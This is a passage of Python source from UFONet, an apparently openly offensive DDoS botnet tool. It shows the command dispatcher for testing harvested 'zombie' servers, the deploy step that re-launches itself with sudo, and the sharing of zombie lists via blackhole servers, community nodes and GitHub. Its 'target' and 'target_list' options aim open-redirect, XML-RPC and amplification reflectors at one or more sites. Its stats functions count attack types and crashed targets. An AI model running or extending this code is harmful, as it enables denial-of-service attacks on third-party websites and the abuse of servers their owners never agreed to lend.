  1122. if z not in zz or z+os.linesep not in zz:
  1123. f.write(z+os.linesep)
  1124. f.close()
  1125. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1126. print('-'*25 + "\n")
  1127. if new_zombies and new_zombies > 0:
  1128. if not self.options.forceyes:
  1129. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1130. print('-'*25 + "\n")
  1131. else:
  1132. check_url_link_reply = "Y"
  1133. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1134. print("[AI] "+self.exit_msg+"\n")
  1135. pass
  1136. else:
  1137. print("\n" + '='*44)
  1138. test = self.testing(all_zombies_found)
  1139. else:
  1140. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  1141. except Exception:
  1142. print ("[Error] [AI] Something wrong (auto)searching...\n")
  1143. # test web 'zombie' servers -> show statistics
  1144. if options.test:
  1145. try:
  1146. self.banner()
  1147. zombies = self.extract_zombies()
  1148. if not zombies:
  1149. return
  1150. test = self.testing(zombies)
  1151. self.update_missions_stats() # update mothership missions stats
  1152. except Exception:
  1153. print ("\n[Error] [AI] Something wrong testing!\n")
  1154. if DEBUG == True:
  1155. traceback.print_exc()
  1156. # test XML-'rpc' pingback vulnerable servers -> update list
  1157. if options.testrpc:
  1158. try:
  1159. self.banner()
  1160. rpcs = self.extract_rpcs()
  1161. if not rpcs:
  1162. return
  1163. testrpc = self.testing_rpcs(rpcs)
  1164. self.update_missions_stats() # update mothership missions stats
  1165. except Exception:
  1166. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  1167. if DEBUG == True:
  1168. traceback.print_exc()
  1169. # check botnet searching for zombies offline
  1170. if options.testoffline:
  1171. try:
  1172. self.banner()
  1173. testbotnet = self.testing_offline()
  1174. self.update_missions_stats() # update mothership missions stats
  1175. except Exception:
  1176. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  1177. if DEBUG == True:
  1178. traceback.print_exc()
  1179. # check ALL botnet status
  1180. if options.testall:
  1181. try:
  1182. self.banner()
  1183. test_all_botnet = self.testing_all()
  1184. self.update_missions_stats() # update mothership missions stats
  1185. except Exception:
  1186. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1187. if DEBUG == True:
  1188. traceback.print_exc()
  1189. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1190. if options.target:
  1191. try:
  1192. self.banner()
  1193. zombies = self.extract_zombies()
  1194. if not zombies:
  1195. return
  1196. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1197. attack = self.attacking(zombies, options.target)
  1198. self.update_missions_stats() # update mothership missions stats
  1199. except Exception:
  1200. print ("\n[Error] [AI] Something wrong attacking!\n")
  1201. if DEBUG == True:
  1202. traceback.print_exc()
  1203. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1204. if options.target_list:
  1205. try:
  1206. self.banner()
  1207. zombies = self.extract_zombies()
  1208. if not zombies:
  1209. return
  1210. targets = self.extract_target_list()
  1211. if not targets:
  1212. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1213. return
  1214. self.options.forceyes = True # force-yes ON!
  1215. self.num_target_list = 0
  1216. print("\n[AI] Checking integrity of targets...\n")
  1217. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1218. if not t.startswith("http"): # discarded inmediately
  1219. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1220. targets.remove(t) # ¿remove? invalid targets
  1221. print("")
  1222. c = 0
  1223. for target in targets:
  1224. if target == "":
  1225. c = c + 1
  1226. else:
  1227. self.num_target_list = self.num_target_list + 1
  1228. if c == len(targets):
  1229. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1230. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1231. else:
  1232. for target in targets:
  1233. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1234. target = self.options.target
  1235. print('='*55 + "\n")
  1236. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1237. print("="*55)
  1238. attack = self.attacking(zombies, target)
  1239. self.update_missions_stats() # update mothership missions stats (each target counts)
  1240. except Exception:
  1241. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1242. if DEBUG == True:
  1243. traceback.print_exc()
  1244. # inspect target -> inspect target's components sizes
  1245. if options.inspect:
  1246. try:
  1247. self.banner()
  1248. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1249. print('='*22 + '\n')
  1250. self.instance = Inspector(self) # instance main class for inspection operations
  1251. inspection = self.instance.inspecting(options.inspect)
  1252. self.update_missions_stats() # update mothership missions stats
  1253. except Exception as e:
  1254. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1255. if DEBUG == True:
  1256. traceback.print_exc()
  1257. return #sys.exit(2)
  1258. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1259. if options.abduction:
  1260. try:
  1261. self.banner()
  1262. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1263. print('='*22 + '\n')
  1264. self.instance = Abductor(self) # instance main class for abduction operations
  1265. abduction = self.instance.abducting(options.abduction)
  1266. self.update_missions_stats() # update mothership missions stats
  1267. except Exception as e:
  1268. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1269. if DEBUG == True:
  1270. traceback.print_exc()
  1271. return #sys.exit(2)
  1272. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1273. if options.attackme:
  1274. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1275. try:
  1276. self.banner()
  1277. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1278. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1279. if not self.options.forceyes:
  1280. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1281. else:
  1282. update_reply = "Y"
  1283. if update_reply == "n" or update_reply == "N":
  1284. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1285. return
  1286. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1287. print("\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash)
  1288. print("\n[AI] Checking NAT/IP configuration:\n")
  1289. nat = self.check_nat()
  1290. f = open("alien", "w") # generate random alien worker
  1291. f.write(str(self.mothership_hash))
  1292. f.close()
  1293. if self.nat_error_flag == "ON":
  1294. return
  1295. zombies = self.extract_zombies()
  1296. if not zombies:
  1297. return
  1298. attackme = self.attackme(zombies)
  1299. self.update_missions_stats() # update mothership missions stats
  1300. except Exception as e:
  1301. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1302. if DEBUG == True:
  1303. traceback.print_exc()
  1304. return #sys.exit(2)
  1305. # check/update for latest stable version
  1306. if options.update:
  1307. self.banner()
  1308. try:
  1309. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1310. Updater()
  1311. except:
  1312. print("Not any .git repository found!\n")
  1313. print("="*30)
  1314. print("\nTo have working this feature, you should clone UFONet with:\n")
  1315. print("$ git clone %s" % self.GIT_REPOSITORY)
  1316. print("\nAlso you can try this other mirror:\n")
  1317. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1318. # launch GUI/Web interface
  1319. if options.web:
  1320. self.create_web_interface()
  1321. return
  1322. # deploy data to share in [/var/www/ufonet]
  1323. if options.deploy is not None:
  1324. self.banner()
  1325. euid = self.checkeuid()
  1326. if euid != 0:
  1327. print("\n[Info] [AI] [Control] [DEPLOY] (--deploy) not started as root...\n")
  1328. try:
  1329. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  1330. os.execlpe('sudo', *args)
  1331. except:
  1332. pass
  1333. try:
  1334. print("\n[AI] Trying to deploy data to share in: '"+self.warping_path+"'\n")
  1335. np = r''+self.warping_path+''
  1336. if not os.path.exists(np):
  1337. os.makedirs(np)
  1338. print("[AI] Created folder at: '"+self.warping_path+"'\n")
  1339. else:
  1340. print("[AI] Path to folder: '"+self.warping_path+"' exists! -> [Passing!]\n")
  1341. from pathlib import Path # import pathlib
  1342. import shutil # import shutil
  1343. src = 'data/'
  1344. files=os.listdir(src)
  1345. print("[AI] GUI [Data] has been deployed...\n")
  1346. for fname in files:
  1347. shutil.copy2(os.path.join(src,fname), self.warping_path)
  1348. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1349. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1350. print("")
  1351. src2 = 'botnet/'
  1352. files=os.listdir(src2)
  1353. print("[AI] CORE [Botnet] has been deployed...\n")
  1354. for fname in files:
  1355. shutil.copy2(os.path.join(src2,fname), self.warping_path)
  1356. if fname == 'zombies.txt':
  1357. in_file = self.warping_path+"/"+fname
  1358. in_data = open(in_file, "rb").read()
  1359. out_gz = self.warping_path+"/"+"abductions.txt.gz"
  1360. gzf = gzip.open(out_gz, "wb")
  1361. gzf.write(in_data)
  1362. gzf.close()
  1363. os.unlink(in_file)
  1364. print(" - "+fname+" -> "+self.warping_path+"/"+"abductions.txt.gz")
  1365. os.chmod(self.warping_path+"/"+"abductions.txt.gz", self.warping_folder_permissions)
  1366. if fname == 'aliens.txt':
  1367. in_file = self.warping_path+"/"+fname
  1368. in_data = open(in_file, "rb").read()
  1369. out_gz = self.warping_path+"/"+"troops.txt.gz"
  1370. gzf = gzip.open(out_gz, "wb")
  1371. gzf.write(in_data)
  1372. gzf.close()
  1373. os.unlink(in_file)
  1374. print(" - "+fname+" -> "+self.warping_path+"/"+"troops.txt.gz")
  1375. os.chmod(self.warping_path+"/"+"troops.txt.gz", self.warping_folder_permissions)
  1376. if fname == 'droids.txt':
  1377. in_file = self.warping_path+"/"+fname
  1378. in_data = open(in_file, "rb").read()
  1379. out_gz = self.warping_path+"/"+"robots.txt.gz"
  1380. gzf = gzip.open(out_gz, "wb")
  1381. gzf.write(in_data)
  1382. gzf.close()
  1383. os.unlink(in_file)
  1384. print(" - "+fname+" -> "+self.warping_path+"/"+"robots.txt.gz")
  1385. os.chmod(self.warping_path+"/"+"robots.txt.gz", self.warping_folder_permissions)
  1386. if fname == 'ucavs.txt':
  1387. in_file = self.warping_path+"/"+fname
  1388. in_data = open(in_file, "rb").read()
  1389. out_gz = self.warping_path+"/"+"drones.txt.gz"
  1390. gzf = gzip.open(out_gz, "wb")
  1391. gzf.write(in_data)
  1392. gzf.close()
  1393. os.unlink(in_file)
  1394. print(" - "+fname+" -> "+self.warping_path+"/"+"drones.txt.gz")
  1395. os.chmod(self.warping_path+"/"+"drones.txt.gz", self.warping_folder_permissions)
  1396. if fname == 'rpcs.txt':
  1397. in_file = self.warping_path+"/"+fname
  1398. in_data = open(in_file, "rb").read()
  1399. out_gz = self.warping_path+"/"+"reflectors.txt.gz"
  1400. gzf = gzip.open(out_gz, "wb")
  1401. gzf.write(in_data)
  1402. gzf.close()
  1403. os.unlink(in_file)
  1404. print(" - "+fname+" -> "+self.warping_path+"/"+"reflectors.txt.gz")
  1405. os.chmod(self.warping_path+"/"+"reflectors.txt.gz", self.warping_folder_permissions)
  1406. if fname == 'snmp.txt':
  1407. in_file = self.warping_path+"/"+fname
  1408. in_data = open(in_file, "rb").read()
  1409. out_gz = self.warping_path+"/"+"bosons.txt.gz"
  1410. gzf = gzip.open(out_gz, "wb")
  1411. gzf.write(in_data)
  1412. gzf.close()
  1413. os.unlink(in_file)
  1414. print(" - "+fname+" -> "+self.warping_path+"/"+"bosons.txt.gz")
  1415. os.chmod(self.warping_path+"/"+"bosons.txt.gz", self.warping_folder_permissions)
  1416. if fname == 'ntp.txt':
  1417. in_file = self.warping_path+"/"+fname
  1418. in_data = open(in_file, "rb").read()
  1419. out_gz = self.warping_path+"/"+"crystals.txt.gz"
  1420. gzf = gzip.open(out_gz, "wb")
  1421. gzf.write(in_data)
  1422. gzf.close()
  1423. os.unlink(in_file)
  1424. print(" - "+fname+" -> "+self.warping_path+"/"+"crystals.txt.gz")
  1425. os.chmod(self.warping_path+"/"+"crystals.txt.gz", self.warping_folder_permissions)
  1426. if fname == 'dns.txt':
  1427. in_file = self.warping_path+"/"+fname
  1428. in_data = open(in_file, "rb").read()
  1429. out_gz = self.warping_path+"/"+"warps.txt.gz"
  1430. gzf = gzip.open(out_gz, "wb")
  1431. gzf.write(in_data)
  1432. gzf.close()
  1433. os.unlink(in_file)
  1434. print(" - "+fname+" -> "+self.warping_path+"/"+"warps.txt.gz")
  1435. os.chmod(self.warping_path+"/"+"warps.txt.gz", self.warping_folder_permissions)
  1436. if fname == 'dorks.txt':
  1437. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1438. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1439. print("")
  1440. print("[AI] [Info] [Control] [DEPLOY] Files are ready to be shared with other 'motherships'...\n\n[AI] [Info] [DEPLOY] Other requirements:\n")
  1441. print(" - 1) Setup web server (apache, nginx...)")
  1442. print(" - 2) Make your web server accessible from the Internet (NAT/VPS) <-> ex: 'http(s)://<your ip>/ufonet/'")
  1443. print(" - 3a) Start [Blackhole] with: './ufonet --blackhole' (or python3 ufonet --blackhole &)")
  1444. print(" - 3b) Start [Grider] with: './ufonet --grider' (or python3 ufonet --grider &)")
  1445. print(" - 4) Share your IP on the sneaknet! (ex: SHIP.RADAR) ;-)")
  1446. print("")
  1447. except Exception as e:
  1448. print("[Error] "+str(e))
  1449. print("\n[AI] Something was wrong deploying in: '/var/www/ufonet'... -> [Aborting!]\n")
  1450. # generate [Blackhole] server to share [Zombies]
  1451. if options.blackhole is not None:
  1452. self.banner()
  1453. try:
  1454. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1455. sys.path.append(blackhole_lib)
  1456. from core.tools.blackhole import BlackHole
  1457. print("\n[AI] Initiating void generation sequence...\n")
  1458. print('='*22 + '\n')
  1459. app = BlackHole()
  1460. app.start()
  1461. while True: time.sleep(1)
  1462. except KeyboardInterrupt:
  1463. print("\n[AI] Terminating void generation sequence...\n")
  1464. app.collapse()
  1465. except Exception as e:
  1466. print("[Error] "+str(e))
  1467. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1468. # create [Grider] server to share [Stats/Wargames/Messages]
  1469. if options.grider is not None:
  1470. self.banner()
  1471. try:
  1472. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1473. sys.path.append(grider_lib)
  1474. from core.tools.grider import Grider
  1475. print("\n[AI] Initiating void generation sequence...\n")
  1476. print('='*22 + '\n')
  1477. app = Grider()
  1478. app.start()
  1479. while True: time.sleep(1)
  1480. except KeyboardInterrupt:
  1481. print("\n[AI] Terminating void generation sequence...\n")
  1482. app.collapse()
  1483. except Exception as e:
  1484. print("[Error] "+str(e))
  1485. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1486. # download list of [Zombies] from a [Blackhole] IP
  1487. if options.dip is not None:
  1488. options.download = True
  1489. self.blackhole = options.dip
  1490. # upload list of [Zombies] to a [Blackhole] IP
  1491. if options.upip is not None:
  1492. options.upload = True
  1493. self.blackhole = options.upip
  1494. # download list of [Zombies] from Community nodes (Radar) [02/02/2022 OK!]
  1495. if options.download_nodes:
  1496. try:
  1497. self.banner()
  1498. print("\n[AI] Downloading list of [Zombies] from [Radar] [Blackhole] [Nodes] ...\n")
  1499. print('='*22 + '\n')
  1500. download_nodes_list = self.downloading_nodes_list()
  1501. except Exception as e:
  1502. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1503. return
  1504. # download list of [Zombies] from Community server [20/01/2020 OK!]
  1505. if options.download:
  1506. try:
  1507. self.banner()
  1508. if options.dip is not None:
  1509. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1510. else:
  1511. print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
  1512. print('='*22 + '\n')
  1513. download_list = self.downloading_list()
  1514. except Exception as e:
  1515. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1516. return
  1517. # upload list of [Zombies] to Community server [20/01/2020 OK!]
  1518. if options.upload:
  1519. try:
  1520. self.banner()
  1521. if options.upip is not None:
  1522. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1523. else:
  1524. print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
  1525. print('='*22 + '\n')
  1526. upload_list = self.uploading_list()
  1527. except Exception as e:
  1528. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1529. if DEBUG == True:
  1530. traceback.print_exc()
  1531. return #sys.exit(2)
  1532. # download list of [Zombies] from GitHub server [20/01/2020 OK!]
  1533. if options.download_github:
  1534. try:
  1535. self.banner()
  1536. print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
  1537. print('='*22 + '\n')
  1538. download_github_list = self.downloading_github_list()
  1539. except Exception as e:
  1540. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1541. return
  1542. # upload list of [Zombies] to GitHub server [20/01/2020 OK!]
  1543. if options.upload_github:
  1544. try:
  1545. self.banner()
  1546. print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
  1547. print('='*22 + '\n')
  1548. upload_github_list = self.uploading_github_list()
  1549. except Exception as e:
  1550. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1551. if DEBUG == True:
  1552. traceback.print_exc()
  1553. return #sys.exit(2)
  1554. # starting new zombie thread
  1555. def connect_zombies(self, zombie):
  1556. z=Zombie(self, zombie)
  1557. t = threading.Thread(target=z.connect, name=zombie)
  1558. t.start()
  1559. # single connection handling
  1560. def connect_zombie(self, zombie):
  1561. z=Zombie(self,zombie)
  1562. return z.connect()
  1563. def extract_proxy(self, proxy):
  1564. sep = ":"
  1565. proxy_ip = proxy.rsplit(sep, 1)[0]
  1566. if proxy_ip.startswith('http://'):
  1567. proxy_ip = proxy_ip.replace('http://', '')
  1568. elif proxy_ip.startswith('https://'):
  1569. proxy_ip = proxy_ip.replace('https://', '')
  1570. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1571. proxy_ip = 'localhost'
  1572. proxy_port = proxy.rsplit(sep, 1)[1]
  1573. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1574. return proxy_url
  1575. def proxy_transport(self, proxy):
  1576. proxy_url = self.extract_proxy(proxy)
  1577. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  1578. opener = urllib.request.build_opener(proxy)
  1579. urllib.request.install_opener(opener)
  1580. def check_mothership_chargo(self):
  1581. f = open(self.zombies_file)
  1582. self.zombies = f.readlines()
  1583. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1584. self.list_zombies = []
  1585. for zombie in self.zombies:
  1586. t = urlparse(zombie)
  1587. name_zombie = t.netloc
  1588. if name_zombie == "":
  1589. name_zombie = zombie
  1590. self.list_zombies.append(name_zombie)
  1591. self.num_zombies = str(len(self.zombies))
  1592. f.close()
  1593. f = open(self.aliens_file)
  1594. self.aliens = f.readlines()
  1595. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1596. self.list_aliens = []
  1597. for alien in self.aliens:
  1598. t = urlparse(alien)
  1599. name_alien = t.netloc
  1600. if name_alien == "":
  1601. name_alien = alien
  1602. self.list_aliens.append(name_alien)
  1603. self.num_aliens = str(len(self.aliens))
  1604. f.close()
  1605. f = open(self.droids_file)
  1606. self.droids = f.readlines()
  1607. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1608. self.list_droids = []
  1609. for droid in self.droids:
  1610. t = urlparse(droid)
  1611. name_droid = t.netloc
  1612. if name_droid == "":
  1613. name_droid = droid
  1614. self.list_droids.append(name_droid)
  1615. self.num_droids = str(len(self.droids))
  1616. f.close()
  1617. f = open(self.ucavs_file)
  1618. self.ucavs = f.readlines()
  1619. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1620. self.list_ucavs = []
  1621. for ucav in self.ucavs:
  1622. t = urlparse(ucav)
  1623. name_ucav = t.netloc
  1624. if name_ucav == "":
  1625. name_ucav = ucav
  1626. self.list_ucavs.append(name_ucav)
  1627. self.num_ucavs = str(len(self.ucavs))
  1628. f.close()
  1629. f = open(self.rpcs_file)
  1630. self.rpcs = f.readlines()
  1631. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1632. self.list_rpcs = []
  1633. for rpc in self.rpcs:
  1634. t = urlparse(rpc)
  1635. name_rpc = t.netloc
  1636. if name_rpc == "":
  1637. name_rpc = rpc
  1638. self.list_rpcs.append(name_rpc)
  1639. self.num_rpcs = str(len(self.rpcs))
  1640. f.close()
  1641. f = open(self.dnss_file)
  1642. self.dnss = f.readlines()
  1643. self.dnss = [dns.replace('\n', '') for dns in self.dnss]
  1644. self.list_dnss = []
  1645. for dns in self.dnss:
  1646. t = urlparse(dns)
  1647. name_dns = t.netloc
  1648. if name_dns == "":
  1649. name_dns = dns
  1650. self.list_dnss.append(name_dns)
  1651. self.num_dnss = str(len(self.dnss))
  1652. f.close()
  1653. f = open(self.ntps_file)
  1654. self.ntps = f.readlines()
  1655. self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
  1656. self.list_ntps = []
  1657. for ntp in self.ntps:
  1658. t = urlparse(ntp)
  1659. name_ntp = t.netloc
  1660. if name_ntp == "":
  1661. name_ntp = ntp
  1662. self.list_ntps.append(name_ntp)
  1663. self.num_ntps = str(len(self.ntps))
  1664. f.close()
  1665. f = open(self.snmps_file)
  1666. self.snmps = f.readlines()
  1667. self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
  1668. self.list_snmps = []
  1669. for snmp in self.snmps:
  1670. t = urlparse(snmp)
  1671. name_snmp = t.netloc
  1672. if name_snmp == "":
  1673. name_snmp = snmp
  1674. self.list_snmps.append(name_snmp)
  1675. self.num_snmps = str(len(self.snmps))
  1676. f.close()
  1677. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_dnss) + int(self.num_ntps) + int(self.num_snmps))
  1678. return self.total_botnet
  1679. def update_flying_stats(self):
  1680. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1681. with open(self.mothership_stats_file, "w") as f:
  1682. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "fraggle": "0", "xmas": "0", "ufoack": "0", "uforst": "0", "droper": "0", "overlap": "0", "pinger": "0", "ufoudp": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "sniper": "0", "crashed": "0"}, f, indent=4) # starting reset
  1683. stats_json_file = open(self.mothership_stats_file, "r")
  1684. data = json.load(stats_json_file)
  1685. stats_json_file.close()
  1686. aflying = data["flying"]
  1687. aflying = str(int(aflying) + 1) # add new flying time
  1688. data["flying"] = aflying
  1689. stats_json_file = open(self.mothership_stats_file, "w+")
  1690. stats_json_file.write(json.dumps(data))
  1691. stats_json_file.close()
  1692. def update_mothership_stats(self):
  1693. stats_json_file = open(self.mothership_stats_file, "r")
  1694. data = json.load(stats_json_file)
  1695. stats_json_file.close()
  1696. acompleted = data["completed"]
  1697. acompleted = str(int(acompleted) + 1) # add new completed attack
  1698. data["completed"] = acompleted
  1699. stats_json_file = open(self.mothership_stats_file, "w+")
  1700. stats_json_file.write(json.dumps(data))
  1701. stats_json_file.close()
  1702. def update_targets_crashed(self):
  1703. stats_json_file = open(self.mothership_stats_file, "r")
  1704. data = json.load(stats_json_file)
  1705. stats_json_file.close()
  1706. tcrashed = data["crashed"]
  1707. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1708. data["crashed"] = tcrashed
  1709. stats_json_file = open(self.mothership_stats_file, "w+")
  1710. stats_json_file.write(json.dumps(data))
  1711. stats_json_file.close()
  1712. def update_missions_stats(self):
  1713. stats_json_file = open(self.mothership_stats_file, "r")
  1714. data = json.load(stats_json_file)
  1715. stats_json_file.close()
  1716. missions = data["missions"]
  1717. missions = str(int(missions) + 1) # add new mission target
  1718. data["missions"] = missions
  1719. stats_json_file = open(self.mothership_stats_file, "w+")
  1720. stats_json_file.write(json.dumps(data))
  1721. stats_json_file.close()
  1722. def update_scanner_stats(self, num):
  1723. stats_json_file = open(self.mothership_stats_file, "r")
  1724. data = json.load(stats_json_file)
  1725. stats_json_file.close()
  1726. scanner = data["scanner"]
  1727. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1728. data["scanner"] = scanner
  1729. stats_json_file = open(self.mothership_stats_file, "w+")
  1730. stats_json_file.write(json.dumps(data))
  1731. stats_json_file.close()
  1732. def update_transferred_stats(self, num):
  1733. stats_json_file = open(self.mothership_stats_file, "r")
  1734. data = json.load(stats_json_file)
  1735. stats_json_file.close()
  1736. transferred = data["transferred"]
  1737. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1738. data["transferred"] = transferred
  1739. stats_json_file = open(self.mothership_stats_file, "w+")
  1740. stats_json_file.write(json.dumps(data))
  1741. stats_json_file.close()
  1742. def update_max_chargo(self, chargo):
  1743. stats_json_file = open(self.mothership_stats_file, "r")
  1744. data = json.load(stats_json_file)
  1745. stats_json_file.close()
  1746. amax_chargo = data["max_chargo"]
  1747. if int(chargo) > int(amax_chargo): # new max chargo found
  1748. amax_chargo = chargo # add new max chargo
  1749. else:
  1750. amax_chargo = data["max_chargo"]
  1751. data["max_chargo"] = amax_chargo
  1752. stats_json_file = open(self.mothership_stats_file, "w+")
  1753. stats_json_file.write(json.dumps(data))
  1754. stats_json_file.close()
  1755. def update_loic_stats(self):
  1756. stats_json_file = open(self.mothership_stats_file, "r")
  1757. data = json.load(stats_json_file)
  1758. stats_json_file.close()
  1759. aloic = data["loic"]
  1760. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1761. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1762. data["loic"] = aloic
  1763. stats_json_file = open(self.mothership_stats_file, "w+")
  1764. stats_json_file.write(json.dumps(data))
  1765. stats_json_file.close()
  1766. def update_loris_stats(self):
  1767. stats_json_file = open(self.mothership_stats_file, "r")
  1768. data = json.load(stats_json_file)
  1769. stats_json_file.close()
  1770. aloris = data["loris"]
  1771. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1772. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1773. data["loris"] = aloris
  1774. stats_json_file = open(self.mothership_stats_file, "w+")
  1775. stats_json_file.write(json.dumps(data))
  1776. stats_json_file.close()
  1777. def update_ufosyn_stats(self):
  1778. stats_json_file = open(self.mothership_stats_file, "r")
  1779. data = json.load(stats_json_file)
  1780. stats_json_file.close()
  1781. aufosyn = data["ufosyn"]
  1782. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1783. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1784. data["ufosyn"] = aufosyn
  1785. stats_json_file = open(self.mothership_stats_file, "w+")
  1786. stats_json_file.write(json.dumps(data))
  1787. stats_json_file.close()
  1788. def update_spray_stats(self):
  1789. stats_json_file = open(self.mothership_stats_file, "r")
  1790. data = json.load(stats_json_file)
  1791. stats_json_file.close()
  1792. aspray = data["spray"]
  1793. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1794. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1795. data["spray"] = aspray
  1796. stats_json_file = open(self.mothership_stats_file, "w+")
  1797. stats_json_file.write(json.dumps(data))
  1798. stats_json_file.close()
  1799. def update_smurf_stats(self):
  1800. stats_json_file = open(self.mothership_stats_file, "r")
  1801. data = json.load(stats_json_file)
  1802. stats_json_file.close()
  1803. asmurf = data["smurf"]
  1804. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1805. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1806. data["smurf"] = asmurf
  1807. stats_json_file = open(self.mothership_stats_file, "w+")
  1808. stats_json_file.write(json.dumps(data))
  1809. stats_json_file.close()
  1810. def update_fraggle_stats(self):
  1811. stats_json_file = open(self.mothership_stats_file, "r")
  1812. data = json.load(stats_json_file)
  1813. stats_json_file.close()
  1814. afraggle = data["fraggle"]
  1815. afraggle = str(int(afraggle) + 1) # add new fraggle attack to recorded stats
  1816. self.total_fraggle = self.total_fraggle + 1 # add new fraggle attack to session stats
  1817. data["fraggle"] = afraggle
  1818. stats_json_file = open(self.mothership_stats_file, "w+")
  1819. stats_json_file.write(json.dumps(data))
  1820. stats_json_file.close()
  1821. def update_xmas_stats(self):
  1822. stats_json_file = open(self.mothership_stats_file, "r")
  1823. data = json.load(stats_json_file)
  1824. stats_json_file.close()
  1825. axmas = data["xmas"]
  1826. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1827. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1828. data["xmas"] = axmas
  1829. stats_json_file = open(self.mothership_stats_file, "w+")
  1830. stats_json_file.write(json.dumps(data))
  1831. stats_json_file.close()
  1832. def update_ufoack_stats(self):
  1833. stats_json_file = open(self.mothership_stats_file, "r")
  1834. data = json.load(stats_json_file)
  1835. stats_json_file.close()
  1836. aufoack = data["ufoack"]
  1837. aufoack = str(int(aufoack) + 1) # add new ufoack attack to recorded stats
  1838. self.total_ufoack = self.total_ufoack + 1 # add new ufoack attack to session stats
  1839. data["ufoack"] = aufoack
